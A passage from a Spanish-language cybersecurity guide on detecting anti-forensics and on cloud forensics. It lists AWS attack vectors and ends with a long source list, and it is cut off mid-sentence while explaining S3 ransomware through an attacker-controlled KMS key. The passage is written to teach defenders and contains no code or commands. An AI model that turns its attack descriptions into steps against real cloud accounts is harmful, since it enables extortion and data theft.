    - **Detección de Packers:** El análisis de memoria con herramientas como Volatility es clave, ya que el malware debe desempaquetarse en memoria para poder ejecutarse. malfind puede detectar estas secciones de memoria desempaquetadas.
    - **Detección de Timestomping:** Los analistas deben buscar inconsistencias. Por ejemplo, en un sistema de archivos NTFS, la marca de tiempo de creación de un archivo en el atributo $STANDARD_INFORMATION puede ser modificada, pero la marca de tiempo en el atributo $FILE_NAME es mucho más difícil de alterar. Una discrepancia entre estas dos es un fuerte indicador de timestomping.
    - **Detección de Esteganografía:** Kali Linux incluye herramientas específicas para esto:
        - steghide: Puede extraer información de archivos si se conoce la contraseña.
        - stegcracker: Una herramienta de fuerza bruta que intenta adivinar la contraseña de steghide utilizando una lista de palabras.
        - zsteg: Detecta varios métodos de esteganografía en imágenes PNG y BMP.
        - **Análisis Estadístico:** Herramientas como stegoVeritas realizan análisis estadísticos en imágenes para detectar anomalías en la distribución de píxeles que podrían indicar datos ocultos.

El conocimiento de estas técnicas anti-forenses es vital para que un investigador no sea engañado y sepa qué artefactos buscar cuando la evidencia parece haber "desaparecido".

Sección 14: Forensia en la Nube (Cloud Forensics)

La migración masiva de infraestructuras y datos a la nube ha creado un nuevo y complejo campo para la investigación forense. La **forensia en la nube** se ocupa de la investigación de incidentes en entornos como Amazon Web Services (AWS), Microsoft Azure y Google Cloud Platform (GCP). Aunque los objetivos son los mismos que en la forensia tradicional (identificar, preservar, analizar y reportar), los métodos y desafíos son radicalmente diferentes.

Diferencias Clave: Forensia Tradicional vs. en la Nube

La principal diferencia radica en la **abstracción y la falta de acceso físico**. En la forensia tradicional, un investigador puede confiscar un disco duro físico y crear una imagen bit a bit. En la nube, esto es imposible. La evidencia reside en una infraestructura virtualizada, distribuida y compartida (multitenant) que es propiedad y está gestionada por un proveedor de servicios en la nube (CSP).
Las diferencias clave incluyen:

- **Acceso a la Evidencia:** En la nube, el acceso a la evidencia está mediado por las APIs del CSP. No se puede simplemente "sacar el disco". La adquisición de datos depende de las herramientas y permisos que el proveedor ofrece, como la creación de "snapshots" de volúmenes de disco o la exportación de logs.
- **Volatilidad y Naturaleza Efímera:** Los recursos en la nube son, por diseño, efímeros. Las máquinas virtuales pueden ser terminadas, los contenedores pueden existir solo por segundos y el almacenamiento temporal puede desaparecer, borrando con ellos evidencia crucial si no se captura de inmediato. Esto hace que la velocidad de respuesta sea aún más crítica que en entornos on-premise.
- **Jurisdicción y Propiedad de los Datos:** Los datos pueden estar distribuidos geográficamente en múltiples centros de datos en diferentes países, lo que crea complejos desafíos legales y de jurisdicción. El modelo de responsabilidad compartida significa que el CSP es responsable de la seguridad *de* la nube, mientras que el cliente es responsable de la seguridad *en* la nube.
- **Dependencia de los Logs:** Dado que el acceso a bajo nivel es limitado, los logs generados por el CSP (como AWS CloudTrail, VPC Flow Logs) se convierten en la fuente de evidencia más importante. Un análisis forense en la nube a menudo comienza y se centra en el análisis de logs, aunque no debe limitarse a ello.

Vectores de Ataque y Herramientas de Detección en AWS

Amazon Web Services (AWS), como el mayor proveedor de nube, es un objetivo frecuente. Comprender sus vectores de ataque comunes y las herramientas de seguridad nativas es esencial para el Blue Team y los analistas forenses.

- **Vectores de Ataque Comunes en AWS:**
    - **Credenciales Comprometidas:** La exposición de claves de acceso estáticas (Access Key ID y Secret Access Key) es una de las causas raíz más comunes de brechas en la nube. Si estas claves se codifican en el código fuente y se suben a un repositorio público de GitHub, los bots de los atacantes pueden encontrarlas y usarlas en cuestión de minutos.
    - **Roles de IAM con Permisos Excesivos:** El principio de menor privilegio es crítico en la nube. Un rol de IAM (Identity and Access Management) con permisos demasiado amplios (por ejemplo, *:*) puede permitir a un atacante que comprometa un solo recurso moverse lateralmente y afectar a toda la cuenta de AWS.
    - **Buckets de S3 Públicos:** Una mala configuración clásica es dejar un bucket de Amazon S3 (Simple Storage Service) accesible públicamente. Esto puede exponer gigabytes de datos sensibles a cualquiera en Internet.
    - **Ransomware en S3:** Un vector de ataque más sofisticado implica que un atacante, después de obtener credenciales válidas, no roba los datos, sino que los

"secuestra" en su lugar. Utilizando las propias APIs de AWS, el atacante puede re-cifrar todos los objetos de un bucket S3 utilizando una clave de cifrado de AWS KMS (Key Management Service) que él controla

Fuentes citadas

1. Blue Team vs. Red Team in Cybersecurity: Differences Explained, https://www.kelacyber.com/academy/cti/blue-team-vs-red-team-in-cybersecurity-differences-explained/ 2. Red Team VS Blue Team in Cybersecurity: What's the Difference? - Bangalore - Skillogic, https://skillogic.com/blog/red-team-vs-blue-team-in-cybersecurity-whats-the-difference/ 3. Red Team vs Blue Team: 15 Key Differences in Cybersecurity, https://www.idealsols.com/red-team-vs-blue-team/ 4. Red Team vs Blue Team Role in Cybersecurity in 2025 - Fynd Academy, https://www.fynd.academy/blog/red-team-vs-blue-team 5. Red Team vs Blue Team in Cybersecurity – Explained - CyberNX, https://www.cybernx.com/red-team-vs-blue-team/ 6. What is Digital Forensics and Incident Response (DFIR)? - Palo Alto Networks, https://www.paloaltonetworks.com/cyberpedia/digital-forensics-and-incident-response 7. What Is Purple Team In Cybersecurity? - Picus Security, https://www.picussecurity.com/resource/glossary/what-is-purple-team 8. What is a Purple Team in Cybersecurity? - SentinelOne, https://www.sentinelone.com/cybersecurity-101/cybersecurity/purple-team/ 9. What Is the Purpose of the Purple Team? - Coursera, https://www.coursera.org/articles/purple-team 10. What is a Purple Team? Purpose & Benefits - Rapid7, https://www.rapid7.com/fundamentals/what-is-a-purple-team/ 11. Is Ethical Hacking Legal? - Fynd Academy, https://www.fynd.academy/blog/is-ethical-hacking-legal 12. What are the legal considerations in ethical hacking? - Nucamp, https://www.nucamp.co/blog/coding-bootcamp-cybersecurity-what-are-the-legal-considerations-in-ethical-hacking 13. Ethical Hacking: Navigating Legal and Ethical Boundaries in Cyber Security - Octopus.ac, https://www.octopus.ac/publications/defp-cw08 14. Explore legal aspects of ethical hacking & cybersecurity - iCert Global, https://www.icertglobal.com/discuss-the-legal-aspects-of-ethical-hacking-and-cybersecurity-blog/detail 15. Pen Test Rules of Engagement Explained - Blue Goat Cyber, https://bluegoatcyber.com/blog/pen-test-rules-of-engagement-explained/ 16. Why are Rules of Engagement Important to my Penetration Test? - Triaxiom Security, https://www.triaxiomsecurity.com/rules-of-engagement-important-to-penetration-test/ 17. Clear Rules of Engagement | HackerOne, https://www.hackerone.com/policies/clear-rules-of-engagement 18. cpcipc.org.ar, https://cpcipc.org.ar/ley-26-388-ley-delitos-informaticos-y-ciberseguridad/#:~:text=La%20ley%20Nacional%20N%C2%B0,medios%20de%20comisi%C3%B3n%20de%20delitos. 19. Ley 26.388 - Texto completo | Argentina.gob.ar, https://www.argentina.gob.ar/normativa/nacional/ley-26388-141790/texto 20. Ley 26.388 - Anna Observa, http://www.annaobserva.org/observatorio/wp-content/uploads/2018/03/Ley-26388.pdf 21. Rules of Engagement (ROE) - Glossary | CSRC - NIST Computer Security Resource Center, https://csrc.nist.gov/glossary/term/rules_of_engagement 22. What should a good penetration test report include? | Evalian®, https://evalian.co.uk/what-should-a-good-penetration-test-report-include/ 23. www.webasha.com, https://www.webasha.com/blog/why-is-kali-linux-preferred-by-cybersecurity-professionals#:~:tex

t=Kali%20Linux%20is%20the%20preferred,%2C%20and%20security%2Dfocused%20design. 24. What is Kali Linux and Why is it Important in Cybersecurity? - AppinLab - Appin Indore, https://appinindore.com/blogs/what-is-kali-linux-and-why-is-it-important-in-cybersecurity/ 25. Kali Linux - Wikipedia, https://en.wikipedia.org/wiki/Kali_Linux 26. Kali Linux Documentation | PDF - Scribd, https://www.scribd.com/document/430008123/kali-linux-documentation 27. Introduction to Kali Linux - GeeksforGeeks, https://www.geeksforgeeks.org/introduction-to-kali-linux/ 28. Kali explained | isecjobs.com, https://infosec-jobs.com/insights/kali-explained/ 29. What is Kali Linux?, https://www.kali.org/docs/introduction/what-is-kali-linux/ 30. Why Is Kali Linux Preferred by Cybersecurity Professionals? - Web Asha Technologies, https://www.webasha.com/blog/why-is-kali-linux-preferred-by-cybersecurity-professionals 31. What is Kali Linux? Exploring its features, tools, and use cases - Hostinger, https://www.hostinger.com/tutorials/what-is-kali-linux 32. Kali Docs | Kali Linux Documentation, https://www.kali.org/docs/ 33. How to Install Kali Linux on VirtualBox & Start Hacking Now - StationX, https://www.stationx.net/how-to-install-kali-linux-on-virtualbox/ 34. How to Install Kali Linux on VirtualBox {Step by Step Tutorial} - phoenixNAP, https://phoenixnap.com/kb/how-to-install-kali-linux-on-virtualbox 35. How to Install Kali Linux on VirtualBox: An Expert Guide - NAKIVO, https://www.nakivo.com/blog/how-to-install-kali-linux-on-virtualbox/ 36. How to Set Up Kali Linux in VirtualBox? - YouTube, https://m.youtube.com/watch?v=5z4oO8NJihg 37. How To Install Kali Linux 2025 in VirtualBox (2025 UPDATED) - YouTube, https://www.youtube.com/watch?v=wCEPusruqQM&pp=0gcJCdgAo7VqN5tD 38. What Is Nmap and How to Use It to Enhance Network Security - Heimdal Security, https://heimdalsecurity.com/blog/what-is-nmap-and-how-to-use-it-to-enhance-network-security/ 39. Nmap vs Wireshark: Comparing The Two Popular Network Tools - Cyberyami, https://www.cyberyami.com/blogs/nmap-vs-wireshark-comparing-the-two-popular-network-tools 40. Port Scanning Techniques - Nmap, https://nmap.org/book/man-port-scanning-techniques.html 41. TCP SYN (Stealth) Scan (-sS) | Nmap Network Scanning, https://nmap.org/book/synscan.html 42. Nmap Cheat Sheet 2025: All the Commands & Flags - StationX, https://www.stationx.net/nmap-cheat-sheet/ 43. HTB Academy - Network discovery with Nmap: -sT being the most stealthy scan is unaccurate info? - Hack The Box :: Forums, https://forum.hackthebox.com/t/htb-academy-network-discovery-with-nmap-st-being-the-most-stealthy-scan-is-unaccurate-info/310012 44. [QUESTION] Why does `-sS` and `-sT` give different result in nmap ? : r/netsecstudents, https://www.reddit.com/r/netsecstudents/comments/awppua/question_why_does_ss_and_st_give_different_result/ 45. Nmap Host Discovery: The Ultimate Guide - Device42, https://www.device42.com/blog/2023/03/29/nmap-host-discovery-the-ultimate-guide/ 46. NMAP - Hackviser, https://hackviser.com/tactics/tools/nmap 47. HTB's 15 must-know Nmap commands in 2024, https://www.hackthebox.com/blog/nmap-commands 48. Step-by-Step Guide for theHarvester Tool - Infosec Train, https://www.infosectrain.com/blog/step-by-step-guide-for-theharvester-tool/ 49. theharvester | Kali Linux Tools, https://www.kali.org/tools/theharvester/ 50. Command and Control: Bind vs Reverse Payloads - Triaxiom Security, https://www.triaxiomsecurity.com/command-and-control-bind-vs-reverse-payloads/ 51. Deep Dive Into Stageless Meterpreter Payloads | Rapid7 Blog, https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/ 52. Metasploit Framework - Docs @ Rapid7, https://docs.rapid7.com/metasploit/msf-overview/ 53. Tools of the Trade: Exploitation and Beyond with Metasploit - Evolve Security,

https://www.evolvesecurity.com/blog-posts/exploitation-and-beyond-with-metasploit 54. A step-by-step guide to the Metasploit Framework - HackTheBox, https://www.hackthebox.com/blog/metasploit-tutorial 55. Msfconsole - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/msfconsole/ 56. Metasploit Framework | Kali Linux Documentation, https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/ 57. Payloads - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/payloads/ 58. Payload Types - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/payload-types/ 59. How to use a reverse shell in Metasploit - GitHub Pages, https://adfoster-r7.github.io/metasploit-framework/docs/using-metasploit/basics/how-to-use-a-reverse-shell-in-metasploit.html 60. Intercepting HTTP traffic with Burp Proxy - PortSwigger, https://portswigger.net/burp/documentation/desktop/getting-started/intercepting-http-traffic 61. Burp Suite Tutorial: Intercepting, Modifying & Scanning HTTP Traffic - Pynt, https://www.pynt.io/learning-hub/burp-suite-guides/burp-suite-tutorial-intercepting-modifying-scanning-http-traffic 62. Intercept HTTP traffic with Burp Proxy - YouTube, https://www.youtube.com/watch?v=Nr2fYpStshA 63. Modifying requests in Burp Proxy - PortSwigger, https://portswigger.net/burp/documentation/desktop/getting-started/modifying-http-requests 64. SQLMap - CyberHub sa, https://cyberhub.sa/posts/5808 65. SQLMAP, http://www.cs.toronto.edu/~arnold/427/15s/csc427/tools/sqlmap/index.html 66. hydra | Kali Linux Tools, https://www.kali.org/tools/hydra/ 67. John the Ripper - usage examples - Openwall, https://www.openwall.com/john/doc/EXAMPLES.shtml 68. John the Ripper - Wikipedia, https://en.wikipedia.org/wiki/John_the_Ripper 69. Cracking Passwords with John the Ripper and Hashcat - CS 465 Computer Security - BYU, https://cs465.byu.edu/fall-2023/projects/jtr_hashcat_tutorial 70. Windows Persistence Through Scheduled Tasks: A Red Team Perspective, https://www.spartanssec.com/post/windows-persistence-through-scheduled-tasks-a-red-team-perspective 71. Linux Detection Engineering - A primer on persistence mechanisms — Elastic Security Labs, https://www.elastic.co/security-labs/primer-on-persistence-mechanisms 72. Essential Techniques for Detecting and Preventing Common Shell Attacks in IT Security, https://www.netizen.net/news/post/4530/essential-techniques-for-detecting-and-preventing-common-shell-attacks-in-it-security 73. Meterpreter Basics - Metasploit Unleashed - OffSec, https://www.offsec.com/metasploit-unleashed/meterpreter-basics/ 74. Post Exploitation Using Meterpreter, https://www.exploit-db.com/docs/english/18229-white-paper--post-exploitation-using-meterpreter.pdf 75. Top 10 Meterpreter Commands For Beginners - Astra Security Suite, https://www.getastra.com/blog/security-audit/meterpreter-commands-post-exploitation/ 76. Scheduled Task/Job - The Most Used MITRE ATT&CK Persistence Technique, https://www.picussecurity.com/resource/scheduled-task/job-the-most-used-mitre-attck-persistence-technique 77. schtasks commands | Microsoft Learn, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks 78. Schtasks Persistence with PowerShell One Liners - Cobalt Strike, https://www.cobaltstrike.com/blog/schtasks-persistence-with-powershell-one-liners 79. Shenanigans of Scheduled Tasks - Logpoint, https://www.logpoint.com/en/blog/shenanigans-of-scheduled-tasks/ 80. Linux Malware Persistence with Cron - Sandfly Security, https://sandflysecurity.com/blog/linux-malware-persistence-with-cron 81. Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron - pepe berba,

https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ 82. Deep Dive on Persistence, Privilege Escalation Technique and Detection in Linux Platform,
https://www.splunk.com/en_us/blog/security/deep-dive-on-persistence-privilege-escalation-technique-and-detection-in-linux-platform.html 83. Identifying and Mitigating Living Off the Land Techniques | Cyber.gov.au,
https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/identifying-and-mitigating-living-off-the-land-techniques 84. Living off the Land Attacks (aka LOL, LOTL, LOLbin, LOLBAS…)– Bitdefender TechZone,
https://techzone.bitdefender.com/en/tech-explainers/living-of-the-land-attacks.html 85. Malleable C2 | Cobalt Strike Features, https://www.cobaltstrike.com/product/features/malleable-c2 86. cobbr/Covenant: Covenant is a collaborative .NET C2 framework for red teamers. - GitHub,
https://github.com/cobbr/Covenant 87. Shikata Ga Nai Encoder Still Going Strong | Mandiant | Google Cloud Blog,
https://cloud.google.com/blog/topics/threat-intelligence/shikata-ga-nai-encoder-still-going-strong 88. Antivirus Evasion Methods in Modern Operating Systems - MDPI,
https://www.mdpi.com/2076-3417/13/8/5083 89. Learning Metasploit : Using Encoders to Avoid AV Detection | packtpub.com - YouTube, https://www.youtube.com/watch?v=tOUMbgTc91w 90. Understanding Living-off-the-Land binaries and scripts (LOLBAS) - Todyl,
https://www.todyl.com/blog/understanding-living-off-the-land-binaries-and-scripts-lolbas 91. Prevent LOLBAS attacks | CyberArk Docs,
https://docs.cyberark.com/epm/latest/en/content/featurespotlight/preventlolbasattacks.htm 92. Malleable Command and Control - Fortra,
https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm 93. Malleable C2 | Empire Wiki - GitBook,
https://bc-security.gitbook.io/empire-wiki/listeners/malleable-c2 94. Features | Beacon, C2 Profiles, Arsenal Kit, and More | Cobalt Strike, https://www.cobaltstrike.com/product/features 95. PlugX Malleable C2 Profile in Cobalt Strike - Hunt.io,
https://hunt.io/malware-families/plugx-malleable-c2-profile 96. Covenant C2 Framework: Offensive Cyber Tool - Hunt.io, https://hunt.io/malware-families/covenant 97. Covenant C2 Fills the Void Left by Empire PowerShell - Netwrix Blog,
https://blog.netwrix.com/2023/01/27/powershell-empire-covenant/ 98. Wireshark: Filter HTTP GET & POST Request Packets — Peter Girnus,
https://www.petergirnus.com/blog/wireshark-display-filter-http-requests-for-get-and-post-packets 99. Apply Wireshark Capture Filters for Network Traffic Analysis - LabEx,
https://labex.io/tutorials/wireshark-apply-wireshark-capture-filters-for-network-traffic-analysis-415940 100. 6.4. Building Display Filter Expressions - Wireshark,
https://wireshark.marwan.ma/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html 101. DisplayFilters - Wireshark Wiki, https://wiki.wireshark.org/DisplayFilters 102. How to filter HTTP traffic with Wireshark compared to FlashStart,
https://flashstart.com/how-to-filter-http-traffic-with-wireshark-compared-to-flashstart/ 103. Wireshark Cheat Sheet – Commands, Captures, Filters & Shortcuts - Comparitech,
https://www.comparitech.com/net-admin/wireshark-cheat-sheet/ 104. Snort Rules Examples and Usage: A Beginner's Guide - Sapphire.net,
https://www.sapphire.net/blogs-press-releases/snort-rules-examples/ 105. Snort Explained: Understanding Snort Rules and Use Cases | CrowdStrike,
https://www.crowdstrike.com/en-us/cybersecurity-101/threat-intelligence/snort-rules/ 106. Mastering Snort: An Essential Snort Rules Cheat sheet -SecureMyOrg,

https://securemyorg.com/snort-rules-cheatsheet-securemyorg/ 107. Snort Rules 101: Examples & Use Cases for Snort Network Defense - Splunk, https://www.splunk.com/en_us/blog/learn/snort-rules.html 108. The Basics - Snort 3 Rule Writing Guide, https://docs.snort.org/rules/ 109. github.com, https://github.com/mosse-security/mcsi-library/blob/main/docs/articles/2022/06/threat-hunting-siem-elk-stack-splunk/threat-hunting-siem-elk-stack-splunk.md#:~:text=A%20SIEM%20(Security%20Information%20and,)%2C%20and%20threat%20intelligence%20feeds. 110. SIEM: Security Information & Event Management Explained - Splunk, https://www.splunk.com/en_us/blog/learn/siem-security-information-event-management.html 111. Essential SOC analyst tools (+ insights from real blue teamers) - HackTheBox, https://www.hackthebox.com/blog/soc-analyst-tools-essentials-for-blue-teams 112. Blue Team Tools Every Beginner Should Know in 2025 | Essential Cybersecurity Defense Tools for Newbies - Web Asha Technologies, https://www.webasha.com/blog/blue-team-tools-every-beginner-should-know-essential-cybersecurity-defense-tools-for-newbies 113. cloud.google.com, https://cloud.google.com/chronicle/docs/soar/overview-and-introduction/soar-overview#:~:text=Google%20Security%20Operations%20Security%20Orchestration,security%20threats%20in%20real%2Dtime. 114. What is SOAR (Security Orchestration, Automation, and Response)? - Balbix, https://www.balbix.com/insights/what-is-security-orchestration-automation-and-response-soar/ 115. SOAR Security: How It Works, Use Cases, and Key Features - BlueVoyant, https://www.bluevoyant.com/knowledge-center/soar-security-how-it-works-use-cases-and-key-features 116. Text Processing using GREP, SED, and AWK - Meritshot, https://www.meritshot.com/text-processing-using-grep-sed-and-awk/ 117. Analyzing Linux Logs - The Ultimate Guide To Logging - Loggly, https://www.loggly.com/ultimate-guide/analyzing-linux-logs/ 118. grep, awk and sed – three VERY useful command-line utilities Matt Probert, Uni of York grep = global regular expression print, https://www-users.york.ac.uk/~mijp1/teaching/2nd_year_Comp_Lab/guides/grep_awk_sed.pdf 119. Invaluable Log Analysis Tools: Sed, Awk, Grep, and RegEx - TCM Security, https://tcm-sec.com/log-analysis-sed-awk-grep-regex/ 120. The Hypothesis-Driven Threat Hunting: A Strategic SOC Advantage - Ampcus Cyber, https://www.ampcuscyber.com/blogs/hypothesis-driven-threat-hunting/ 121. www.deepwatch.com, https://www.deepwatch.com/education-center/what-is-a-threat-hunt-hypothesis/#:~:text=A%20threat%20hunt%20hypothesis%20is,starting%20point%20for%20further%20investigation. 122. How to Generate a Hypothesis for a Threat Hunt - Cybereason, https://www.cybereason.com/blog/how-to-generate-a-hypothesis-for-a-threat-hunt-techniques 123. Network Anomaly Detection: A Comprehensive Guide - Kentik, https://www.kentik.com/kentipedia/network-anomaly-detection/ 124. Baselining - BlackFog, https://www.blackfog.com/cybersecurity-101/baselining/ 125. What Is Anomaly Detection? - CrowdStrike, https://www.crowdstrike.com/en-us/cybersecurity-101/next-gen-siem/anomaly-detection/ 126. Intrusion Detection System in Cyber Security - Stamus Networks, https://www.stamus-networks.com/intrusion-detection-system-in-cyber-security 127. Network anomaly detection: Tools, strategy + best practices - Meter, https://meter.com/resources/network-anomaly-detection 128. Implementing AI Anomaly Detection in Industrial Cybersecurity,

https://gca.isa.org/blog/implementing-ai-anomaly-detection-in-industrial-cybersecurity 129. How do baselines and anomalies work? - Nokia Documentation Center, https://documentation.nokia.com/nsp/24-4/NSP_Data_Collection_and_Analysis_Guide/baseline_details.html 130. Quick Guide for Anomaly Detection in Cybersecurity Networks - XenonStack, https://www.xenonstack.com/insights/cyber-network-security 131. What Is Digital Forensics? Definition & Process | Proofpoint US, https://www.proofpoint.com/us/threat-reference/digital-forensics 132. Digital Forensics: Definition and Best Practices - SentinelOne, https://www.sentinelone.com/cybersecurity-101/cybersecurity/digital-forensics/ 133. Understanding Digital Forensics: The Importance of Chain of Custody - Infosec, https://www.infosecinstitute.com/resources/digital-forensics/computer-forensics-chain-custody/ 134. Understanding Digital Forensics: Process, Techniques, and Tools - BlueVoyant, https://www.bluevoyant.com/knowledge-center/understanding-digital-forensics-process-techniques-and-tools 135. Cloud Forensic Analysis - Unlocking Digital Evidence in the Cloud - Unbytech, https://unbytech.com/article/cloud-forensic-analysis-digital-evidence 136. Ultimate Guide - Chain Of Custody In Digital Forensics - TechFusion, https://techfusion.com/chain-of-custody-in-digital-forensics/ 137. Chain of Custody in Digital Forensics - Number Analytics, https://www.numberanalytics.com/blog/chain-of-custody-in-digital-forensics 138. Digital Forensics and the Chain of Custody: How Is Electronic Evidence Collected and Safeguarded? - Champlain College Online, https://online.champlain.edu/blog/chain-custody-digital-forensics 139. Resources: Chain of Custody - Tech tools for human rights documentation, https://documentation-tools.theengineroom.org/resources-chain-of-custody/ 140. Chain of Custody Form | PDF | Digital Forensics | Data Management - Scribd, https://www.scribd.com/document/372094922/Chain-of-Custody-Form 141. Chain of Custody Evidence Log - PDF Templates - Jotform, https://www.jotform.com/pdf-templates/chain-of-custody-evidence-log 142. NIST's sample chain of custody form, https://www.nist.gov/document/sample-chain-custody-formdocx 143. Autopsy File Recovery - OffSec portal, https://portal.offsec.com/machine/autopsy-file-recovery-191944/overview?utm_campaign=Content%20Releases&utm_source=hs_email&utm_medium=email&_hsenc=p2ANqtz-_ooTsjdbqEuOjLZeXeuBIT_YHrClm0Oo4RpRy36tOqdswqw58j58d_oKecje2-DGBrsE1c&__hstc=182824441.4b44870ec4a577029c49e44b73bd3bee.1745452802068.1745452802069.1745452802070.1&____hssc=182824441.1.1745452802071&__hsfp=1721781979 144. Autopsy - A Digital Forensic Lab - Carlo Alberto Scola, https://carloalbertoscola.it/2020/security/digital-forensic-made-easy-autopsy-sleuth/ 145. Autopsy User Documentation: Autopsy Workflow - The Sleuth Kit, http://sleuthkit.org/autopsy/docs/user-docs/4.22.0/workflow_page.html 146. Autopsy Forensics 2025: Analyze Disk Images - Online Hash Crack, https://www.onlinehashcrack.com/guides/security-tools/autopsy-forensics-2025-analyze-disk-images.php 147. Autopsy User Documentation: Ingest Modules - The Sleuth Kit, https://sleuthkit.org/autopsy/docs/user-docs/3.1/ingest_page.html 148. Python Autopsy Module Tutorial #1: The File Ingest Module, https://www.autopsy.com/python-autopsy-module-tutorial-1-the-file-ingest-module/ 149. Starting a New Digital Forensic Investigation Case in Autopsy 4.19+ - YouTube, https://www.youtube.com/watch?v=fEqx0MeCCHg 150. Forensic Acquisition Tool | Digital Forensics Investigation | Autopsy Tutorial - YouTube, https://m.youtube.com/watch?v=S6V66G2tVr8&pp=ygUPI2N5YmVyY3JpbWV0b29s 151. The

Sleuth Kit commands - SleuthKitWiki,
http://wiki.sleuthkit.org/index.php?title=The_Sleuth_Kit_commands 152. FS Analysis - SleuthKitWiki, https://wiki.sleuthkit.org/index.php?title=FS_Analysis 153. FLS(1) manual page - The Sleuth Kit, http://www.sleuthkit.org/sleuthkit/man/fls.html 154. How to Use Volatility for Memory Forensics and Analysis - Varonis, https://www.varonis.com/blog/how-to-use-volatility 155. Memory Analysis 101: Understanding Memory Threats and Forensic Tools - Intezer, https://intezer.com/blog/memory-analysis-forensic-tools/ 156. Memory CTF with Volatility Part 1 – Cyber,
https://westoahu.hawaii.edu/cyber/forensics-weekly-executive-summmaries/memory-ctf-with-volatility-part-1/ 157. Memory Forensics: Using Volatility Framework - Hacking Articles,
https://www.hackingarticles.in/memory-forensics-using-volatility-framework/ 158. The Volatility Framework | The Volatility Foundation | Memory Forensics,
https://volatilityfoundation.org/the-volatility-framework/ 159. Essential Tools for Malware Analysis in Kali Linux - IHA089, https://iha089.org.in/malware-analysis/ 160. Volatility CheatSheet - Windows Memory Dump Analysis - Forensic ..., https://hackmd.io/@TuX-/BymMpKd0s 161. Command Reference · volatilityfoundation/volatility Wiki - GitHub,
https://github.com/volatilityfoundation/volatility/wiki/command-reference 162. volatility - CommandReferenceMal22.wiki - Google Code,
https://code.google.com/archive/p/volatility/wikis/CommandReferenceMal22.wiki 163. Volatility malfind - eyehatemalwares.com,
https://www.eyehatemalwares.com/digital-forensics/memory-analysis/volatility-malfind/ 164. Command Reference Mal · volatilityfoundation/volatility Wiki - GitHub,
https://github.com/volatilityfoundation/volatility/wiki/Command-Reference-Mal 165. Volatility yarascan - eyehatemalwares.com,
https://www.eyehatemalwares.com/digital-forensics/memory-analysis/volatility-yarascan/ 166. YARA Rules for Beginners: A Practical Guide to Threat Hunting - Insane Cyber,
https://insanecyber.com/writing-your-first-yara-rule/ 167. Writing YARA Rules - CYBER 5W,
https://blog.cyber5w.com/how-to-write-yara-101 168. Top 8 Anti-Forensics Techniques - Infosec Train, https://www.infosectrain.com/blog/top-8-anti-forensics-techniques/ 169. 6 Anti-Forensic Techniques That Every Digital Forensic Investigator Dreads - CISO Mag,
https://cisomag.com/6-anti-forensic-techniques-that-every-digital-forensic-investigator-dreads/ 170. Anti-Forensics: What it is, Examples and How to Defend Against it - IT Governance Blog,
https://www.itgovernance.eu/blog/en/anti-forensics-what-it-is-examples-and-how-to-defend-against-it 171. Anti-Forensics Techniques - Cynet,
https://www.cynet.com/attack-techniques-hands-on/anti-forensics-techniques/ 172. How To Use Steghide And StegoSuite Steganography Tools In Kali Linux - GeeksforGeeks,
https://www.geeksforgeeks.org/linux-unix/how-to-use-steghide-and-stegosuite-steganography-tools-in-kali-linux/ 173. steghide | Kali Linux Tools, https://www.kali.org/tools/steghide/ 174. stegcracker | Kali Linux Tools, https://www.kali.org/tools/stegcracker/ 175. DominicBreuker/stego-toolkit: Collection of steganography tools - helps with CTF challenges - GitHub, https://github.com/DominicBreuker/stego-toolkit 176. www.cadosecurity.com,
https://www.cadosecurity.com/blog/cloud-vs-on-prem-forensics-the-differences-you-need-to-know#:~:text=Cloud%20forensics%20focuses%20on%20security,provided%20by%20cloud%20service%20providers. 177. What is Cloud-Based Forensics? - Cado Security,
https://www.cadosecurity.com/blog/what-is-cloud-based-forensics 178. Cloud vs. On-Prem Forensics: The Differences You Need to Know,
https://www.cadosecurity.com/blog/cloud-vs-on-prem-forensics-the-differences-you-need-to-know 179. Preventing unintended encryption of Amazon S3 objects | AWS Security Blog,

https://aws.amazon.com/blogs/security/preventing-unintended-encryption-of-amazon-s3-objects / 180. 9 All-Too-Common AWS Security Risks - Wiz, https://www.wiz.io/academy/aws-security-risks